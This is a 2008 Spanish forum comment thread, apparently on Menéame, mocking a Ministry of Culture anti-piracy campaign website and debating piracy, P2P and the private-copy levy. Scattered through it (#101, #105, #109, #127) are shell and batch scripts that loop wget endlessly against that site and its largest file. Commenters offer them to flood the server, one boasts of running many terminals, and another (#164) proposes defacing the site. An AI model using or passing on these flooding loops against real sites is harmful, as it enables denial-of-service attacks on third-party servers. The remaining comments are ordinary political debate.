Eli
619meneos

A quién daña la piratería? Si eres legal, eres legal

Nueva campaña del ministerio de Ministerio de Cultura español, del ínclito César Antonio Molina, via espana.barrapunto.com/article.pl?sid=08/11/25/0912240

negativos: 1  usuarios: 348  anónimos: 271  compartir:  twitter  facebook  friendfeed
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  1. #101   #94 Je, je ,je ... ¡Qué bueno!

    #68 lo siento pero no me gusta mucho python, prefiero perl ( esos bandos python vs perl ) aunque en realidad lo que mas me ha gustado ha sido mas el bash de #94.

    Y para todos aquellos que trabajen en Windows ( yo prefiero Unix ), para que luego digáis que somos sectarios:

    Bajaros wget de: windows-get.sourceforge.net/wget.exe ( es totalmente necesario )
    Creáis un archivo p.e. putada.bat y añadís:

    @echo off
    :bucle
    echo "Puteando..."
    wget www.siereslegalereslegal.com > null
    goto bucle

    ¡Ojo! que no se os olvide poner el path a wget donde lo hayáis copiado.
    Lo mismo, se interrumpe con ctrl+c .
    Se aceptan correcciones, que uno no es perfecto.
    votos: 2, karma: 20
    por sukh el 26-11-2008 01:31 UTC
  2. #102   y lo humillante que debe ser que te manden crear esa página web...
    votos: 1, karma: 14
    por hrodic el 26-11-2008 01:35 UTC
  3. #103   Leí muchas estupideces en mi vida ... pero ahora veo que no lo eran al lado de esta aberración.
    votos: 0, karma: 7
    por InTheAciD el 26-11-2008 01:39 UTC
  4. por --113008-- el 26-11-2008 01:42 UTC
  5. #105   #101 (por el culo te la inco! :P) Gracias por unirte al grupo

    el de #68 es diferente al nuestro, spamea la base de datos (aunque probablemente la web solo permita un testimonio por email)
    el nuestro solo peta el servidor web

    puteando 2.0 (version para linux)
    while [ 1 ]; do wget -rkc *www.siereslegalereslegal.com* -P:/dev/null --cache=off; done

    (Se aceptan mejoras)
    votos: 1, karma: 17
    por escribanoruben el 26-11-2008 01:47 UTC
  6. #106   www.filmica.com/david_bravo/archivos/008678.html

    Permitidme la negrita

    Lo peor de aquella campaña es que se lanzó en vísperas navideñas, porque así, como reconocía la propia memoria de la Comisión, coincidia "con momentos de compra de regalos". Estando ahora a pocos días de Diciembre, supongo que la lógica de mercado de esta campaña es la misma que la anterior: junto con el mensaje antidescargas, promocionar los productos de las compañías discográficas, cinematográficas y editoriales en los momentos en los que existe un mayor consumo.
    votos: 2, karma: 24
    por bystander el 26-11-2008 01:54 UTC
  7. #107   Esa página la hizo un psicólogo desfasado
    votos: 0, karma: 6
    por rholando el 26-11-2008 01:56 UTC
  8. #108   DAME UNA H
    DAME UNA D
    DAME UNA P

    Ueee

    Menuda verguenza, igual que lo de Kellyfinder. Esto ya no es simpatico, es profundamente doloroso...
    votos: 2, karma: 26
    por phase el 26-11-2008 01:59 UTC
  9. #109   #101 Creo que descargandonos el fichero más grande (178kb) haremos más pupa

    puteando 3.0 (version para linux)
    while [ 1 ]; do wget *www.siereslegalereslegal.com/data/downloads/CARTEL_40x60_final.pdf* -P:/dev/null --cache=off; done

    (He creado un monstruo)
    votos: 2, karma: 23
    por escribanoruben el 26-11-2008 02:05 UTC
  10. votos: 0, karma: 6
    por hrodic el 26-11-2008 02:13 UTC
  11. #111   Si eres legal... pagas el canon igual.

    El Ministerio de Kultura se arrodilla por n-ésima vez a los pies de la industria audiovisual.
    votos: 4, karma: 37
    por santino el 26-11-2008 02:40 UTC
  12. #112   Si eres legal pagas el canon igual... por lo tanto que sea legal Tu put..... madre :D
    votos: 1, karma: 12
    por Undermac el 26-11-2008 06:53 UTC
  13. #113   jajajaja Como se deben haber reido los programadores de la página al escribir tanta tontería sabiendo que es mentira todo.
    votos: 2, karma: 23
    por Tirmand el 26-11-2008 07:06 UTC
  14. por --17067-- el 26-11-2008 07:20 UTC
  15. #115   No se si alguien lo ha dicho ya...

    Pero el video antipirateria, es demasiado parecido al que sale en la serie de "Los Informaticos"... ( menos gore eso si )
    votos: 0, karma: 6
    por Elvikingo el 26-11-2008 07:52 UTC
  16. #116   Comparto con mis amigos todo tipo de cultura. Y me refiero a cultura de verdad, cultura libre y no la basura comercial.
    A mi la piratería no me afecta, por que la piratería no afecta al que usa la cultura libre.
    Además, si quisiera compartir cultura protegida por CopyRight, podría, ya que como español tengo el "Derecho a la Copia Privada", que está vigente en la Ley actual, por algo pagamos el abusivo canon de las sociedades gestoras.
    Así aprovechando este testimonio: Borren el punto 2 de las 10 mentiras, YA!

    Mi testimonio. Seguro que será censurado, claro
    votos: 1, karma: 12
    por NazguL2 el 26-11-2008 07:54 UTC
  17. por --87561-- el 26-11-2008 07:55 UTC
  18. #118   Testimonio:
    Soy programador, y me siento orgulloso de crear software que vendo a una persona y esta se sienta libre de distribuirlo, modificarlo, etc... bajo la misma licencia GPL.

    PD:¿De que le sirve al mundo que tú sepas algo y no lo compartas con los demás?...
    votos: 3, karma: 26
    por opes el 26-11-2008 08:00 UTC
  19. #119   Me descargué de Internet una película que supuestamente era una exitosa e inocente película de animación por ordenador que acababan de estrenar en el cine. Fui a verla con mi sobrina y cuando la puse en el DVD del salón cuál no fue mi sorpresa cuando apareció una secuencia de alto contenido sexual y explícitamente pornográfico. Mi cuñada estuvo varias semanas sin hablarme.

    jajaja me he partido con este, todo el mundo sabe que se ha de comprobar una pelicula bajada por si las moscas, si es la buena la ves y si es pr0n....tambien!
    votos: 3, karma: 30
    por piterpanda el 26-11-2008 08:02 UTC
  20. #120   lo gracioso es que nada de lo que puedan hacer va a convencer a la gente que no se baje cosas. punto pelota xD
    votos: 0, karma: 6
    por kero el 26-11-2008 08:21 UTC
  21. #121   Bueno, si ha servido para que un pobre becario se gane el café del día... buena es la página.
    votos: 0, karma: 8
    por sieteymedio el 26-11-2008 08:30 UTC
  22. #122   Relacionada: meneame.net/story/consejos-practicos-ministerio-cultura-para-hacer-bue-

    David Bravo aconseja al ministerio para la próxima campaña anti-piratería (que no se yo que tendrá que ver ministro de cultura con los barcos que son secuestrados en Somalia, pero bueno...)
    votos: 0, karma: 6
    por Wulf el 26-11-2008 08:52 UTC
  23. #123   por desgracia y por diversos motivos hay mucho novatillo en la red ke igual leyendo cosas como estas le entra el miedo y deja de compartir porque es "ilegal" y no kiere problemas.

    Una pena, tristisimo lo de este gobierno. Estamos vendidos.

    Espero ke los partidos ke no estan en el poder se den cuenta de ke poniendo esta situacion en su sitio obtendran los votos de muchos ciudadanos, entre ellos el mio. Esto es una verguenza, no tiene otra palabra, VERGUENZA.

    P.D: en los paises nordicos (por ejemplo) ke pasa ke su cultura está tan bien posicionada porke son "legales"? xDD
    Hay ke ver, teniendo buenos ejemplos en paises tan cercanos de como tratar la cultura y aqui siguen haciendo lo blanco negro...
    votos: 0, karma: 6
    por hamijo el 26-11-2008 08:58 UTC
  24. #124   La industria cultural y los artistas ya ganan suficiente así que no perjudico a nadie si no pago.
    ¡Falso! Los autores, los artistas y las industrias de contenidos de propiedad intelectual tienen el derecho legítimo a ganar dinero, triunfar y tener una carrera exitosa, como ocurre en cualquier sector profesional. No se justifica que a este sector se le discrimine y se cuestione su derecho a ser retribuido.

    ¿Nadie va a decir nada de esto? Joder, no dice que tenga derecho a ganar dinero para vivir, si no que tiene derecho a ser rico y que nosotros se lo paguemos...

    Yo creo que relacionada: meneame.net/story/goebbels-maestro-de-persuasion
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    por brolin79 el 26-11-2008 09:06 UTC
  25. #125   #109 pero entonces... eso no lo contaran ellos como un porron de visitas? Lo ultimo que quiero es que luego anuncien que han tenido millones de visitas....
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    por c0rrupt_gamer el 26-11-2008 09:29 UTC
  26. #126   No sé a quién daña la piratería, lo único que sé es que esa página me daña la vista.
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    por kannon el 26-11-2008 09:32 UTC
  27. #127   14 terminales con el comando de escribanoruben funcionando... ya pondre mas en la uni jejejejeje
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    por c0rrupt_gamer el 26-11-2008 09:45 UTC
  28. #128   Estamos en las mismas de siempre... claro que afecta a mas gente de la que pensamos...

    Como al director de la discográfica ya no gana lo de antes por culpa de la "piratería" ¿que hace? Despedir a la mitad de los trabajadores, para poder seguir manteniendose el sueldo.

    La piratería machacará a cientos de trabajadores... pero los cantantes siguen con su chalet en Miami, y los productores y ejecutivos de las discográficas siguen llendo en un coche de gama alta.

    Miles de trabajos a lo largo de la historia se han ido a pique porque las innovaciones les comieron el terreno. Se les pasó el tren, y no tienen nada mas que hacer.
    votos: 0, karma: 6
    por goranfrosty el 26-11-2008 09:55 UTC
  29. #129   Testimonio que falta en la paginita:

    Mi amigo trabaja en las fabricas de cds que habia en españa pero desde que pusieron el canon a los cds y a los cds comprados fuera de españa no se les cobra perdieron competitividad y la fabrica se fue a la quiebra, ¿porque no quitais el puto canon?
    votos: 2, karma: 23
    por osids el 26-11-2008 09:58 UTC
  30. por --110399-- el 26-11-2008 09:59 UTC
  31. por --63187-- el 26-11-2008 10:00 UTC
  32. #132   Si seguro que en los ordenadores de la moncloa, en los del senado, etc... hay contenido de ese que ellos nombran "ilegal"

    Pero que se creen!! ¿¿a caso si vas a la montaña y te topas con una fuente de agua potable y controladoa esta es ILEGAL??
    votos: 0, karma: 6
    por SiisTEM el 26-11-2008 10:14 UTC
  33. por --110399-- el 26-11-2008 10:25 UTC
  34. #134   Que raro, aun no han publicado mi mensaje de #34....

    Seguro que se les ha traspapelado....

    O tal vez sea pq no les explicite mi cesion de derechos de autor sobre esa comentario....

    se lo doy.... se lo doy....
    votos: 0, karma: 7
    por Spectrofotometrodemasas el 26-11-2008 10:26 UTC
  35. #135   #131 Leídos 130 comentarios y la web del David Bravo, he querido buscar alguno que demostrara que lo que ellos llaman 10 mentiras sobre propiedad intelectual son rebatibles. No he encontrado nada

    Una ayuda para rebatir las 10 mentiras.

    1) Tener sentido común.
    2) Google, busca no me seas vago.
    3) www.filmica.com/david_bravo/archivos/000077.html

    ¿Seguro que has leído David Bravo?
    votos: 0, karma: 15
    por --101913-- el 26-11-2008 10:26 UTC
  36. #136   Si descargar cultura de Internet es un delito aplicad la Ley... pero no lo es; ya que está amparado en el derecho de copia privada del material divulgado si es sin ánimo de lucro, por el cuál se paga un canon en disco duro, CD, DVD, mp3, teléfono, etc.. DEJAD DE LLENAROS LOS BOLSILLOS DE UN CANON INDISCRIMINADO Y PONED PRECIOS JUSTOS A LOS "PRODUCTOS" QUE VENDÉIS. A lo mejor así "salís de pobres", y en vez de un BMW os podéis comprar un Ferrari. Hipócritas. Viva la cultura libre.

    - Mi mensaje a estos "Defensores de la cultura", que obviamente no van a publicar.
    votos: 0, karma: 11
    por Africanus el 26-11-2008 10:29 UTC
  37. #137   Testimonio a lo www.siereslegalereslegal.com/:

    Soy un cantante novel una empresa importante se había fijado en mi grupo e ibamos a grabar un disco, pero las ventas de los cantantes importantes cayeron y ya no podré vivir de mi música sin tener que tocarla. Yo buscaba eso, vivir de lo que en verdad siempre he regalado en youtube, lo que siempre ha sido material promocional (mis grabaciones), porque tener que trabajar mis ganancias es muy cansado, y mi música es sólo mi trabajo, la pasión quedó atrás. En esta web (www.siereslegalereslegal.com) se insiste mucho en que se compre a los artistas grandes porque en verdad no son millonarios, ellos reparten su riqueza entre los nóveles para que saturemos un poco más el mercado y le quitemos sus ventas, es lo que a las grandes empresas (casi ONGs) quieren en el mundo crear mucho empleo, lo de maxificar las ganancias es sólo un bulo y por eso el Gobierno paga esta web con dinero de todos insistiendo en que le compremos material a estas maravillosas empresas.
    votos: 0, karma: 6
    por qdificil el 26-11-2008 11:01 UTC
  38. por --63187-- el 26-11-2008 11:09 UTC
  39. #139   Deberiamos hacer una web...

    www.sieresgilipollaseresgilipollas.com

    Con el mismo estilo pero contando la verdad.

    Tendria un exito pasmoso! :lol:
    votos: 0, karma: 6
    por Robus el 26-11-2008 11:14 UTC
  40. por --9133-- el 26-11-2008 11:26 UTC
  41. #141   #138 Pedimos que se elimine el canon porque es indiscriminado, se paga sea o no para hacer uso del derecho de copia privada. Además este canon es gestionado por una entidad privada que reparte el dinero como le parece.
    Yo personalmente pido que el canon se pague de forma justa y se gestione por una empresa pública de forma transparente y clara, para ver que realmente sirve de apoyo a todos los artistas.

    Estoy dispuesto a pagar canon por el derecho a copia privada, pero no veo justo que me lo cobren sí o sí al comprar ciertos productos si no haré uso. Además, la cultura siempre ha estado ahí y no ha requerido de ningún canon para existir y mucho menos para subsistir. :)
    votos: 0, karma: 11
    por Africanus el 26-11-2008 11:35 UTC
  42. por --63187-- el 26-11-2008 11:54 UTC
  43. #143   Estas campañas personalmente solo me incitan aun mas a descargar copias de mis originales y es que hoy en día cualquiera que use un ordenador y un programa p2p se considera que es un pirata por lo tanto una persona ilegal (según ellos) y que la tratan por consiguiente como un delincuente ya que contribuye a fomentar la piratería, por otro lado no se quien se va a creer todas esas mentiras que intentan hacernos creer con esta clase de anuncios tan alarmantes, no he podido evitar reírme con los testimonios, me recuerda a los testimonios de la hora chanante pero en versión ministerio, en fin...

    YO SOY PIRATA! I LOVE P2P!
    votos: 0, karma: 6
    por xDD el 26-11-2008 12:25 UTC
  44. #144   Hay un comentario que pone que gracias al p2p a conocido nuevos grupos musicales, deberíamos votarle, que sea el elegido del mes a ver que opinan.

    Aunque supongo que en cuanto se den cuenta eliminaran el comentario.
    votos: 0, karma: 6
    por erperisv el 26-11-2008 12:28 UTC
  45. #145   #142 Sería justo que cada usuario reconociese que ha hecho x copias para uso privado o que el canon estuviese incluido en el precio de la obra original, lo que te permitiría realizar copias privadas de ésta. De otra forma podemos poner un impuesto en los mecheros y cerillas, por ejemplo, "por si fumas", en vez de en el tabaco como se establece actualmente.

    Cuando descargas una obra y ésta está en un directorio compartido, no estás usándola colectivamente ni comunicándola públicamente, ya que las conexiones que se establecen en una red P2P son privadas, persona a persona. A diferencia de si la emites en una radio o televisión u otro medio.
    votos: 1, karma: 18
    por Africanus el 26-11-2008 12:29 UTC
  46. por --63187-- el 26-11-2008 12:52 UTC
  47. #147   ¿Que será lo próximo? Ah, si, ya se: "La piratería provoca el cierre de Internet".

    Es lo que nos falta ya... ¬¬
    votos: 0, karma: 6
    por vipoke el 26-11-2008 13:30 UTC
  48. #148   Yo antes era Anti-PP, pero ahora añadido a mi lista al PSOE. Ya solo me quedan los antitaurinos.

    Y es que no soporto a gente que gaste dinero público en una campaña como esta.
    votos: 1, karma: 14
    por iNX el 26-11-2008 13:59 UTC
  49. #149   Esto se arregla dentro de tres años y poco, será la hora de botar (si con B) al PSOE y sus amigos de la plataforma PAZ (si esos de la ceja) fuera de la Moncloa
    votos: 1, karma: 13
    por Joe_pessi el 26-11-2008 14:08 UTC
  50. #150   yo no uso emule :P Pando o Jdownloader con reseteador xD el undercover en 3 horitas sin esperas:P

    Hay que joderse, canon por Cd-Dvd,por Mp3-Mp4, por Regrabadores y lectores...etc
    y encima tengo que comprar música don DMR y poder escucharla con limitaciones, a mamarla.
    si se joden todas esas discográficas y empresas chupadinerales aparecerán otras, y si no. a canciones de grupos que se quieren dar a conocer que también son buenos y merecen 1 oportunidad
    votos: 0, karma: 7
    por Antitesis el 26-11-2008 14:41 UTC
  51. #151   Los testimonios son geniales (lo que me he reido), desde el rockero que llena los bares y no vende discos hasta la mujer que hace muñecos de peluche y teme que se los plagien (voy a bajarme unos ositos de la mula XDD)... pasando por el que dice que los piratas le roban porque tiene que pagar el canon (yo tenia entendido que el dinero se lo llevaba la SGAE, no los piratas...)

    Eso no se lo cree nadie...

    Por no hablar de los "10 mandamientos de los legales"... "Los ilegales intentan engañarte... ¡No te dejes manipular!" Ahora resulta que si tienes el emule abierto te llaman por telefono los señores malos de internet? que jarta a reir...

    Pensaría que es un fake si no hubiera visto el anuncio hace un rato en la tele.

    Los LADRONES son ellos por gastarse nuestro dinero en semejante GILIPOLLEZ. (Donde está la Crisis si se andan gastando el dinero en estas chorradas?)
    votos: 0, karma: 6
    por sei el 26-11-2008 14:52 UTC
  52. #152   Basado en el script Python de #69, os dejo uno "extendido", aqui:

    pastebin.com/ma536509

    Tuneadlo a gusto del consumidor :P
    votos: 0, karma: 6
    por JanKusanagi el 26-11-2008 15:05 UTC
  53. #153   <i>Las cosas están muy mal. Tengo un grupo de rock y veo como ha cambiado todo. Antes dábamos un concierto al mes y venían 15 o 20 personas a vernos, amigos, familia... y la mayoría de ellos nos compraban un CD, ahora con el pirateo damos 4 conciertos a la semana que solemos llenar y ¡no vendemos ni un solo disco!
    Las cosas están muy muy mal para la música.</i>

    JAJAJA pero cabrón si ahora das 16 conciertos más que antes ¡¡¡¡de que te quejas!!!!
    votos: 1, karma: 13
    por qdificil el 26-11-2008 15:08 UTC
  54. #154   #146 No es mi problema que esa fórmula te parezca poco exitosa, es la única forma que no atenta contra la privacidad y que a la vez es justa. Punto y final.

    "¿eso lo dices tú, la ley, o quién? o dicho de otra forma, cuando te bajas algo de un P2P de pongamos 50 fuentes ¿las conoces a todas? ¿sabes a cuantos otros ordenadores se difunde el archivo que compartes? ¿que persona a persona hay en esto?"

    Eso lo digo yo igual que lo que dices tú lo dices tú, tenemos la misma credibilidad con la diferencia que de momento no han denunciado y por lo tanto condenado a nadie en España por comunicación pública ni uso colectivo de una obra a través de Internet. :)

    P.d.: ¿Quién ha dicho que tenga que conocer a las 50 personas?
    votos: 1, karma: 18
    por Africanus el 26-11-2008 15:12 UTC
  55. por --1502-- el 26-11-2008 15:13 UTC
  56. por --63187-- el 26-11-2008 15:18 UTC
  57. por --110399-- el 26-11-2008 16:36 UTC
  58. #158   Atentos al nuevo "testimonio", que no tiene desperdicio.

    Hola, pienso que la piratería afecta en primer lugar a las personas que la practican ya que, al descargarse música sin ningun coste, no aprecian lo que tienen y por lo tanto no lo disfrutan. Consecuencia de ésto es que cada vez la música sea menos valorada pudiendo llegar a desaparecer. Conozco casos de grupos que han fracasado a causa de regalar su musica por internet debido a que al llegar a tanta gente se han dejado de escuchar por falta de exclusividad. Saludos!

    Es como decir que el sexo solo lo disfrutas de verdad cuando te vas de putas, porque pagas por ello. Y por cierto, no se supone que el objetivo del buen artista es que su arte llegue a todo el mundo, independientemente del dinero que ello le pueda reportar? Y que chorrada es esa de falta de exclusividad? A caso Bustamante es muy "exclusivo"?
    votos: 1, karma: 16
    por --88321-- el 26-11-2008 16:43 UTC
  59. por --63187-- el 26-11-2008 16:45 UTC
  60. #160   #159 Es lo que tiene creerse el poseedor de la verdad absoluta: no reconoces cuando te tumban los argumentos
    votos: 1, karma: 16
    por --88321-- el 26-11-2008 16:47 UTC
  61. por --63187-- el 26-11-2008 16:49 UTC
  62. por --110399-- el 26-11-2008 17:05 UTC
  63. por --9133-- el 26-11-2008 17:26 UTC
  64. #164   #94, no sé, entonces podrán decir al ministro que han tenido tropecientasmil visitas y que la campaña es un éxito... Mejor sería lo contrario, que nadie entre en ese enjendro.

    Lo que sí estaría bien sería defacearla y poner un enlace a mininova o similar.
    votos: 0, karma: 9
    por rafaLin el 26-11-2008 17:26 UTC
  65. por --63187-- el 26-11-2008 17:41 UTC
  66. #166   Creo que ya se acerca la fecha en la que van a volver a dar una pequeña revisión a la ley de propiedad intelectual para prohibir la copia privada o cambiarla totalmente de contenido eliminando las ambigüedades que introdujeron en la anterior reforma.
    Con esta campaña ya nos han convencido totalmente que compartir la cultura es malo.
    votos: 0, karma: 6
    por Toub el 26-11-2008 17:50 UTC
  67. por --9133-- el 26-11-2008 17:52 UTC
  68. #168   #165 Los escritores no tienen tal problema porque los libros son mucho más complicados de copiar y generalmente solo se copian los de éxito. Pero de todas formas no les va mal con la crisis; una noticia de Google News de hace 14 horas: Los editores valencianos facturaron en 2007 un 10% más que en 2006 www.elpais.com/articulo/Comunidad/Valenciana/editores/valencianos/facts

    Y en este caso, el de las editoriales/escritores, el número de ventas sí que es importante para sus ingresos, ya que no suelen tener otros (aparte del canon) si no se acaba llevando su obra al cine o teatro.

    Los actores cobran por hacer películas, la gente sigue yendo al cine y se siguen vendiendo películas, cada año se facturan miles de millones en los cines, cada año se lucha por ser la película más taquillera.

    Ejemplos:
    El Caballero Oscuro, la segunda película más taquillera de la historia en EEUU
    www.tublogdecine.es/taquilla/the-dark-knight-la-segunda-pelicula-mas-t/
    Y... ¡sorpresa!
    El Caballero Oscuro, la película más "pirateada" de la historia
    digg.com/movies/The_Dark_Night_to_become_the_most_pirated_movie_of_2008
    votos: 1, karma: 18
    por Africanus el 26-11-2008 17:55 UTC
  69. por --9133-- el 26-11-2008 17:59 UTC
  70. #170   #109 ¡Eres un monstruo"
    votos: 0, karma: 6
    por sukh el 27-11-2008 02:20 UTC
  71. por --110399-- el 27-11-2008 08:47 UTC
  72. por --6050-- el 27-11-2008 18:08 UTC
  73. por --9133-- el 28-11-2008 08:56 UTC
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